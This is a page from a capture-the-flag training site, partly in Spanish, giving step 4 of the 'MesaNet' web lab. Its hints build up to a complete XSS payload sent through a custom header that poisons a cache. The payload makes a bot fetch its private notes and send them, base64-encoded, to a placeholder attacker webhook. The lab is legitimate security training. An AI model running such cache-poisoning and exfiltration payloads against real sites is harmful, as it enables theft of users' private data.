Hintru Propina ENES ← Todos los labs

Bugforge MesaNet

EN hard CTF challenge Web Cache PoisoningXSSHeader InjectionStored XSSCSRFBot ExploitationExfiltration
Original

MesaNet is a Black Mesa Transit rail broadcast panel running on Bugforge's lab infrastructure. The application caches API responses and reflects a custom header value directly into HTML, creating a chained attack path: poison the cache with a script injected via a custom header, then trick a bot into viewing the poisoned page — causing it to exfiltrate its private notes (and the flag) to an attacker-controlled webhook.

0/7
resueltos
Paso 1 Paso 2 Paso 3 Paso 4 Paso 5 Paso 6 Paso 7
web

Paso 4 · Craft the cache-poisoning XSS payload

Objetivo: Build a complete payload that breaks out of the <link> tag context and executes JavaScript, which will POST-fetch the bot's private notes and exfiltrate them to your webhook.

Contexto: The <link> tag in the HTML looks like: <link rel='stylesheet' href='/public/css/rail-SKIN.css'>. You need to close this tag, then inject a script that: (1) sends a POST request to /gateway with the body targeting /api/notes/lists, and (2) forwards the response to your webhook. The JSON body must use \x22\x22 instead of "" to avoid breaking the JSON parser via backslash escaping in the injected context.

Pistas progresivas

Revela solo las que necesites. Claude lleva la cuenta de cuántas usaste para calibrar la retroalimentación.

Pista 1 — empujón direccional

Think about what string sequence closes a <link> tag inside an href attribute, and what you can inject immediately after to run JavaScript.

Pista 2 — técnica / clase de vuln

You need to escape the href value and close the <link> tag first (e.g., with /css/default.css">), then add a <script> block or inline event handler that performs a fetch() to the /gateway endpoint and pipes the result to a webhook.

Pista 3 — casi la solución

Use X-Rail-Skin: /css/default.css"><script>fetch('/gateway',{method:'POST',headers:{'Content-Type':'application/json'},body:'{\x22endpoint\x22:\x22/api/notes/lists\x22}',mode:'no-cors'}).then(r=>r.text()).then(d=>fetch('https://YOUR_WEBHOOK/?d='+btoa(d)))</script> — replace \x22 with the hex escape for double-quotes to avoid JSON parser issues.

Tu intento

¿Encontraste algo para mejorar?

Puliendo la redacción, afinando una pista, agregando contexto que falta, corrigiendo un payload — tu versión queda separada de la original y otros aprendices pueden elegirla.

⚠ Reportar este lab

¿Te gusta Hintru? Buy me a coffee ☕ ☕